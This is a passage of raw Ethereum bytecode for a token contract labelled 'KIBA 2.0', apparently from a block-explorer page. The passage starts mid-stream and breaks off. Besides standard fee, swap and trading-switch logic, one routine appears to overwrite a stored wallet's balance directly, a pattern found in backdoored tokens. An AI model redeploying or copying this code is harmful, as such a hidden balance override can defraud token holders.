578063c9567bf9146109c2578063ca33e64c146109d9578063ca987b0e14610a04578063d920334e14610a2f576102d4565b806395d89b411161012e57806395d89b411461085a57806398118cb414610885578063a3a2e89e146108b0578063a7a1e160146108d9578063a8aa1b3114610904578063a9059cbb1461092f576102d4565b80637b0086551461075c5780637d1db4a5146107735780637db1342c1461079e578063807c2d9c146107c7578063893d20e8146107f25780638b42507f1461081d576102d4565b8063315dca2911610234578063650c4226116101ed57806370a08231116101c757806370a08231146106b2578063715018a6146106ef57806373f642121461070657806375f0a87414610731576102d4565b8063650c42261461063357806369cf17d41461065c5780636b67c4df14610687576102d4565b8063315dca291461051157806334c708891461053a5780633f4218e01461056357806344de2e4c146105a05780634a74bb02146105cb578063571ac8b0146105f6576102d4565b80631df4ccfc116102865780631df4ccfc146103eb57806323b872dd146104165780632b112e49146104535780632bb14e1d1461047e5780632f54bf6e146104a9578063313ce567146104e6576102d4565b80630445b667146102d957806306fdde0314610304578063095ea7b31461032f5780630d2959801461036c57806318160ddd146103955780631ce8a892146103c0576102d4565b366102d457005b600080fd5b3480156102e557600080fd5b506102ee610b8f565b6040516102fb919061361c565b60405180910390f35b34801561031057600080fd5b50610319610b95565b604051610326919061353a565b60405180910390f35b34801561033b57600080fd5b506103566004803603810190610351919061303f565b610bd2565b6040516103639190613504565b60405180910390f35b34801561037857600080fd5b50610393600480360381019061038e919061307f565b610cc4565b005b3480156103a157600080fd5b506103aa610d29565b6040516103b7919061361c565b60405180910390f35b3480156103cc57600080fd5b506103d5610d33565b6040516103e2919061361c565b60405180910390f35b3480156103f757600080fd5b50610400610d39565b60405161040d919061361c565b60405180910390f35b34801561042257600080fd5b5061043d60048036038101906104389190612fac565b610d3f565b60405161044a9190613504565b60405180910390f35b34801561045f57600080fd5b50610468610f3f565b604051610475919061361c565b60405180910390f35b34801561048a57600080fd5b50610493610fc1565b6040516104a0919061361c565b60405180910390f35b3480156104b557600080fd5b506104d060048036038101906104cb9190612e92565b610fc7565b6040516104dd9190613504565b60405180910390f35b3480156104f257600080fd5b506104fb611020565b60405161050891906136ba565b60405180910390f35b34801561051d57600080fd5b5061053860048036038101906105339190612f59565b611029565b005b34801561054657600080fd5b50610561600480360381019061055c91906130d9565b611139565b005b34801561056f57600080fd5b5061058a60048036038101906105859190612e92565b6111c1565b6040516105979190613504565b60405180910390f35b3480156105ac57600080fd5b506105b56111e1565b6040516105c29190613504565b60405180910390f35b3480156105d757600080fd5b506105e06111f4565b6040516105ed9190613504565b60405180910390f35b34801561060257600080fd5b5061061d60048036038101906106189190612e92565b611207565b60405161062a9190613504565b60405180910390f35b34801561063f57600080fd5b5061065a600480360381019061065591906131ac565b61123a565b005b34801561066857600080fd5b506106716112f2565b60405161067e919061361c565b60405180910390f35b34801561069357600080fd5b5061069c6112f8565b6040516106a9919061361c565b60405180910390f35b3480156106be57600080fd5b506106d960048036038101906106d49190612e92565b6112fe565b6040516106e6919061361c565b60405180910390f35b3480156106fb57600080fd5b50610704611347565b005b34801561071257600080fd5b5061071b61139b565b604051610728919061361c565b60405180910390f35b34801561073d57600080fd5b506107466113a1565b6040516107539190613444565b60405180910390f35b34801561076857600080fd5b506107716113c7565b005b34801561077f57600080fd5b5061078861144c565b604051610795919061361c565b60405180910390f35b3480156107aa57600080fd5b506107c560048036038101906107c0919061312c565b611452565b005b3480156107d357600080fd5b506107dc6114a4565b6040516107e9919061361c565b60405180910390f35b3480156107fe57600080fd5b506108076114aa565b6040516108149190613444565b60405180910390f35b34801561082957600080fd5b50610844600480360381019061083f9190612e92565b6114d3565b6040516108519190613504565b60405180910390f35b34801561086657600080fd5b5061086f6114f3565b60405161087c919061353a565b60405180910390f35b34801561089157600080fd5b5061089a611530565b6040516108a7919061361c565b60405180910390f35b3480156108bc57600080fd5b506108d760048036038101906108d29190612fff565b611536565b005b3480156108e557600080fd5b506108ee6115d9565b6040516108fb9190613504565b60405180910390f35b34801561091057600080fd5b506109196115ec565b6040516109269190613444565b60405180910390f35b34801561093b57600080fd5b506109566004803603810190610951919061303f565b611612565b6040516109639190613504565b60405180910390f35b34801561097857600080fd5b50610981611627565b60405161098e919061361c565b60405180910390f35b3480156109a357600080fd5b506109ac61162d565b6040516109b9919061361c565b60405180910390f35b3480156109ce57600080fd5b506109d7611633565b005b3480156109e557600080fd5b506109ee6118dc565b6040516109fb9190613444565b60405180910390f35b348015610a1057600080fd5b50610a19611902565b604051610a26919061361c565b60405180910390f35b348015610a3b57600080fd5b50610a566004803603810190610a51919061312c565b611908565b005b348015610a6457600080fd5b50610a6d61195a565b604051610a7a9190613504565b60405180910390f35b348015610a8f57600080fd5b50610aaa6004803603810190610aa59190612f19565b61196d565b604051610ab7919061361c565b60405180910390f35b348015610acc57600080fd5b50610ae76004803603810190610ae2919061307f565b6119f4565b005b348015610af557600080fd5b50610b106004803603810190610b0b9190612eec565b611a59565b005b348015610b1e57600080fd5b50610b27611b1b565b604051610b34919061351f565b60405180910390f35b348015610b4957600080fd5b50610b646004803603810190610b5f9190612fff565b611b41565b005b348015610b7257600080fd5b50610b8d6004803603810190610b88919061307f565b611be4565b005b601c5481565b60606040518060400160405280600881526020017f4b49424120322e30000000000000000000000000000000000000000000000000815250905090565b600081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610cb2919061361c565b60405180910390a36001905092915050565b610ccd33610fc7565b610d0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d03906135dc565b60405180910390fd5b80600060146101000a81548160ff02191690831515021790555050565b6000600454905090565b601d5481565b60105481565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610f2b57610eaa826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca79092919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610f36848484611d0b565b90509392505050565b6000610fbc610f6f600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166112fe565b610fae610f9d600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166112fe565b60045461238190919063ffffffff16565b61238190919063ffffffff16565b905090565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006012905090565b61103233610fc7565b611071576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611068906135dc565b60405180910390fd5b82601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b61114233610fc7565b611181576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611178906135dc565b60405180910390fd5b82601960016101000a81548160ff02191690831515021790555081601c8190555080601960026101000a81548160ff021916908315150217905550505050565b600a6020528060005260406000206000915054906101000a900460ff1681565b600760009054906101000a900460ff1681565b601960019054906101000a900460ff1681565b6000611233827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610bd2565b9050919050565b61124333610fc7565b611282576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611279906135dc565b60405180910390fd5b83600c8190555082600e8190555081600d8190555080600f819055506112c9600e546112bb600d54600c54611c4990919063ffffffff16565b611c4990919063ffffffff16565b6010819055506112e6600f54601054611c4990919063ffffffff16565b60118190555050505050565b600f5481565b600d5481565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61135033610fc7565b61138f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611386906135dc565b60405180910390fd5b6113996000611a59565b565b601a5481565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601960016101000a81548160ff021916908315150217905550601d5460086000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550565b60055481565b61145b33610fc7565b61149a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611491906135dc565b60405180910390fd5b8060068190555050565b60065481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600b6020528060005260406000206000915054906101000a900460ff1681565b60606040518060400160405280600681526020017f4b49424132300000000000000000000000000000000000000000000000000000815250905090565b600c5481565b61153f33610fc7565b61157e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611575906135dc565b60405180910390fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601b60009054906101000a900460ff1681565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061161f338484611d0b565b905092915050565b60185481565b60155481565b61163c33610fc7565b61167b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611672906135dc565b60405180910390fd5b600060149054906101000a900460ff16156116cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c2906135fc565b60405180910390fd5b6000601960016101000a81548160ff0219169083151502179055506116ee6123cb565b6001600060146101000a81548160ff021916908315150217905550601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611752306112fe565b60008033426040518863ffffffff1660e01b8152600401611778969594939291906134a3565b6060604051808303818588803b15801561179157600080fd5b505af11580156117a5573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906117ca9190613159565b505050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161186c92919061347a565b602060405180830381600087803b15801561188657600080fd5b505af115801561189a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118be91906130ac565b506001601960016101000a81548160ff021916908315150217905550565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60115481565b61191133610fc7565b611950576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611947906135dc565b60405180910390fd5b8060058190555050565b601960029054906101000a900460ff1681565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6119fd33610fc7565b611a3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a33906135dc565b60405180910390fd5b80600760006101000a81548160ff02191690831515021790555050565b611a6233610fc7565b611aa1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a98906135dc565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051611b10919061345f565b60405180910390a150565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611b4a33610fc7565b611b89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b80906135dc565b60405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b611bed33610fc7565b611c2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c23906135dc565b60405180910390fd5b80601b60006101000a81548160ff02191690831515021790555050565b6000808284611c589190613735565b905083811015611c9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c949061357c565b60405180910390fd5b8091505092915050565b6000838311158290611cef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce6919061353a565b60405180910390fd5b5060008385611cfe9190613816565b9050809150509392505050565b6000601960009054906101000a900460ff1615611d3457611d2d8484846123d4565b905061237a565b600060149054906101000a900460ff16611d83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7a9061359c565b60405180910390fd5b601b60009054906101000a900460ff168015611da157506005548211155b80611df55750600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611e34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2b9061355c565b60405180910390fd5b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015611edc5750600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ef55750601960009054906101000a900460ff16155b8015611f0d5750601960019054906101000a900460ff165b8015611f5a5750601c54600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b15611f6857611f676125a7565b5b611f70612b22565b158015611fca5750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15612024576000600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541161201b57600080fd5b6120236123cb565b5b6120ad826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca79092919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156121565750600760009054906101000a900460ff165b156121bc576006546121b083600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c4990919063ffffffff16565b11156121bb57600080fd5b5b6000600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156122625750600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61226c5782612278565b612277858585612b2f565b5b90506122cc81600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c4990919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161236c919061361c565b60405180910390a360019150505b9392505050565b60006123c383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ca7565b905092915050565b43601881905550565b600061245f826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca79092919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124f482600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c4990919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612594919061361c565b60405180910390a3600190509392505050565b6001601960006101000a81548160ff0219169083151502179055506000600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060006126446002612636601054612628600c5487612cd790919063ffffffff16565b612d5290919063ffffffff16565b612d5290919063ffffffff16565b9050600061265b828461238190919063ffffffff16565b90506000600267ffffffffffffffff81111561267a576126796139cb565b5b6040519080825280602002602001820160405280156126a85781602001602082028036833780820191505090505b50905030816000815181106126c0576126bf61399c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561276257600080fd5b505afa158015612776573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061279a9190612ebf565b816001815181106127ae576127ad61399c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161284c959493929190613637565b600060405180830381600087803b15801561286657600080fd5b505af115801561287a573d6000803e3d6000fd5b50505050600047905060006128af61289e6002600c54612d5290919063ffffffff16565b60105461238190919063ffffffff16565b905060006128ed60026128df846128d1600c5488612cd790919063ffffffff16565b612d5290919063ffffffff16565b612d5290919063ffffffff16565b905060006129188361290a600e5487612cd790919063ffffffff16565b612d5290919063ffffffff16565b9050600061294182612933858861238190919063ffffffff16565b61238190919063ffffffff16565b90506000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16826175309060405161298f9061342f565b600060405180830381858888f193505050503d80600081146129cd576040519150601f19603f3d011682016040523d82523d6000602084013e6129d2565b606091505b50509050600090506000891115612afb57601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71985308c600080601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401612a6c969594939291906134a3565b6060604051808303818588803b158015612a8557600080fd5b505af1158015612a99573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612abe9190613159565b5050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b4506848a604051612af2929190613691565b60405180910390a15b505050505050505050506000601960006101000a81548160ff021916908315150217905550565b6000806018541415905090565b6000808373ffffffffffffffffffffffffffffffffffffffff16601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612b8f57601054612b93565b6011545b90506000612bbd6064612baf8487612cd790919063ffffffff16565b612d5290919063ffffffff16565b9050612c1181600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c4990919063ffffffff16565b600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612cb1919061361c565b60405180910390a3612ccc818561238190919063ffffffff16565b925050509392505050565b600080831415612cea5760009050612d4c565b60008284612cf891906137bc565b9050828482612d07919061378b565b14612d47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d3e906135bc565b60405180910390fd5b809150505b92915050565b6000612d9483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612d9c565b905092915050565b60008083118290612de3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dda919061353a565b60405180910390fd5b5060008385612df2919061378b565b9050809150509392505050565b600081359050612e0e81613b2f565b92915050565b600081519050612e2381613b2f565b92915050565b600081359050612e3881613b46565b92915050565b600081359050612e4d81613b5d565b92915050565b600081519050612e6281613b5d565b92915050565b600081359050612e7781613b74565b92915050565b600081519050612e8c81613b74565b92915050565b600060208284031215612ea857612ea76139fa565b5b6000612eb684828501612dff565b91505092915050565b600060208284031215612ed557612ed46139fa565b5b6000612ee384828501612e14565b91505092915050565b600060208284031215612f0257612f016139fa565b5b6000612f1084828501612e29565b91505092915050565b60008060408385031215612f3057612f2f6139fa565b5b6000612f3e85828601612dff565b9250506020612f4f85828601612dff565b9150509250929050565b600080600060608486031215612f7257612f716139fa565b5b6000612f8086828701612dff565b9350506020612f9186828701612dff565b9250506040612fa286828701612dff565b9150509250925092565b600080600060608486031215612fc557612fc46139fa565b5b6000612fd386828701612dff565b9350506020612fe486828701612dff565b9250506040612ff586828701612e68565b9150509250925092565b60008060408385031215613016576130156139fa565b5b600061302485828601612dff565b925050602061303585828601612e3e565b9150509250929050565b60008060408385031215613056576130556139fa565b5b600061306485828601612dff565b925050602061307585828601612e68565b9150509250929050565b600060208284031215613095576130946139fa565b5b60006130a384828501612e3e565b91505092915050565b6000602082840312156130c2576130c16139fa565b5b60006130d084828501612e53565b91505092915050565b6000806000606084860312156130f2576130f16139fa565b5b600061310086828701612e3e565b935050602061311186828701612e68565b925050604061312286828701612e3e565b9150509250925092565b600060208284031215613142576131416139fa565b5b600061315084828501612e68565b91505092915050565b600080600060608486031215613172576131716139fa565b5b600061318086828701612e7d565b935050602061319186828701612e7d565b92505060406131a286828701612e7d565b9150509250925092565b600080600080608085870312156131c6576131c56139fa565b5b60006131d487828801612e68565b94505060206131e587828801612e68565b93505060406131f687828801612e68565b925050606061320787828801612e68565b91505092959194509250565b600061321f838361323a565b60208301905092915050565b613234816138b1565b82525050565b6132438161384a565b82525050565b6132528161384a565b82525050565b6000613263826136e5565b61326d8185613708565b9350613278836136d5565b8060005b838110156132a95781516132908882613213565b975061329b836136fb565b92505060018101905061327c565b5085935050505092915050565b6132bf8161386e565b82525050565b6132ce816138c3565b82525050565b6132dd816138d5565b82525050565b60006132ee826136f0565b6132f88185613724565b935061330881856020860161390b565b613311816139ff565b840191505092915050565b6000613329601183613724565b915061333482613a10565b602082019050919050565b600061334c601b83613724565b915061335782613a39565b602082019050919050565b600061336f601483613724565b915061337a82613a62565b602082019050919050565b6000613392602183613724565b915061339d82613a8b565b604082019050919050565b60006133b5600683613724565b91506133c082613ada565b602082019050919050565b60006133d8600083613719565b91506133e382613b03565b600082019050919050565b60006133fb601783613724565b915061340682613b06565b602082019050919050565b61341a8161389a565b82525050565b613429816138a4565b82525050565b600061343a826133cb565b9150819050919050565b60006020820190506134596000830184613249565b92915050565b6000602082019050613474600083018461322b565b92915050565b600060408201905061348f6000830185613249565b61349c6020830184613411565b9392505050565b600060c0820190506134b86000830189613249565b6134c56020830188613411565b6134d260408301876132d4565b6134df60608301866132d4565b6134ec6080830185613249565b6134f960a0830184613411565b979650505050505050565b600060208201905061351960008301846132b6565b92915050565b600060208201905061353460008301846132c5565b92915050565b6000602082019050818103600083015261355481846132e3565b905092915050565b600060208201905081810360008301526135758161331c565b9050919050565b600060208201905081810360008301526135958161333f565b9050919050565b600060208201905081810360008301526135b581613362565b9050919050565b600060208201905081810360008301526135d581613385565b9050919050565b600060208201905081810360008301526135f5816133a8565b9050919050565b60006020820190508181036000830152613615816133ee565b9050919050565b60006020820190506136316000830184613411565b92915050565b600060a08201905061364c6000830188613411565b61365960208301876132d4565b818103604083015261366b8186613258565b905061367a6060830185613249565b6136876080830184613411565b9695505050505050565b60006040820190506136a66000830185613411565b6136b36020830184613411565b9392505050565b60006020820190506136cf6000830184613420565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b60006137408261389a565b915061374b8361389a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156137805761377f61393e565b5b828201905092915050565b60006137968261389a565b91506137a18361389a565b9250826137b1576137b061396d565b5b828204905092915050565b60006137c78261389a565b91506137d28361389a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561380b5761380a61393e565b5b828202905092915050565b60006138218261389a565b915061382c8361389a565b92508282101561383f5761383e61393e565b5b828203905092915050565b60006138558261387a565b9050919050565b60006138678261387a565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006138bc826138e7565b9050919050565b60006138ce826138e7565b9050919050565b60006138e08261389a565b9050919050565b60006138f2826138f9565b9050919050565b60006139048261387a565b9050919050565b60005b8381101561392957808201518184015260208101905061390e565b83811115613938576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f5458204c696d6974204578636565646564000000000000000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f54726164696e67206e6f74206f70656e20796574000000000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f214f574e45520000000000000000000000000000000000000000000000000000600082015250565b50565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b613b388161384a565b8114613b4357600080fd5b50565b613b4f8161385c565b8114613b5a57600080fd5b50565b613b668161386e565b8114613b7157600080fd5b50565b613b7d8161389a565b8114613b8857600080fd5b5056fea2646970667358221220c92c743987b146585c94262cf42533897cbdc282f3e9744ac93b52e1798d101364736f6c6343000807003300000000000000000000000046edb823b3c096e0f5d779bc51ebb72f58bf8c4f

Deployed Bytecode

0x6080604052600436106102cd5760003560e01c80637b00865511610175578063bf56b371116100dc578063da00097d11610095578063f2fde38b1161006f578063f2fde38b14610ae9578063f887ea4014610b12578063fabe628314610b3d578063fe8fa93114610b66576102d4565b8063da00097d14610a58578063dd62ed3e14610a83578063e66b1d1e14610ac0576102d4565b8063bf56b3711461096c578063c538a76c14610997578063c9567bf9146109c2578063ca33e64c146109d9578063ca987b0e14610a04578063d920334e14610a2f576102d4565b806395d89b411161012e57806395d89b411461085a57806398118cb414610885578063a3a2e89e146108b0578063a7a1e160146108d9578063a8aa1b3114610904578063a9059cbb1461092f576102d4565b80637b0086551461075c5780637d1db4a5146107735780637db1342c1461079e578063807c2d9c146107c7578063893d20e8146107f25780638b42507f1461081d576102d4565b8063315dca2911610234578063650c4226116101ed57806370a08231116101c757806370a08231146106b2578063715018a6146106ef57806373f642121461070657806375f0a87414610731576102d4565b8063650c42261461063357806369cf17d41461065c5780636b67c4df14610687576102d4565b8063315dca291461051157806334c708891461053a5780633f4218e01461056357806344de2e4c146105a05780634a74bb02146105cb578063571ac8b0146105f6576102d4565b80631df4ccfc116102865780631df4ccfc146103eb57806323b872dd146104165780632b112e49146104535780632bb14e1d1461047e5780632f54bf6e146104a9578063313ce567146104e6576102d4565b80630445b667146102d957806306fdde0314610304578063095ea7b31461032f5780630d2959801461036c57806318160ddd146103955780631ce8a892146103c0576102d4565b366102d457005b600080fd5b3480156102e557600080fd5b506102ee610b8f565b6040516102fb919061361c565b60405180910390f35b34801561031057600080fd5b50610319610b95565b604051610326919061353a565b60405180910390f35b34801561033b57600080fd5b506103566004803603810190610351919061303f565b610bd2565b6040516103639190613504565b60405180910390f35b34801561037857600080fd5b50610393600480360381019061038e919061307f565b610cc4565b005b3480156103a157600080fd5b506103aa610d29565b6040516103b7919061361c565b60405180910390f35b3480156103cc57600080fd5b506103d5610d33565b6040516103e2919061361c565b60405180910390f35b3480156103f757600080fd5b50610400610d39565b60405161040d919061361c565b60405180910390f35b34801561042257600080fd5b5061043d60048036038101906104389190612fac565b610d3f565b60405161044a9190613504565b60405180910390f35b34801561045f57600080fd5b50610468610f3f565b604051610475919061361c565b60405180910390f35b34801561048a57600080fd5b50610493610fc1565b6040516104a0919061361c565b60405180910390f35b3480156104b557600080fd5b506104d060048036038101906104cb9190612e92565b610fc7565b6040516104dd9190613504565b60405180910390f35b3480156104f257600080fd5b506104fb611020565b60405161050891906136ba565b60405180910390f35b34801561051d57600080fd5b5061053860048036038101906105339190612f59565b611029565b005b34801561054657600080fd5b50610561600480360381019061055c91906130d9565b611139565b005b34801561056f57600080fd5b5061058a60048036038101906105859190612e92565b6111c1565b6040516105979190613504565b60405180910390f35b3480156105ac57600080fd5b506105b56111e1565b6040516105c29190613504565b60405180910390f35b3480156105d757600080fd5b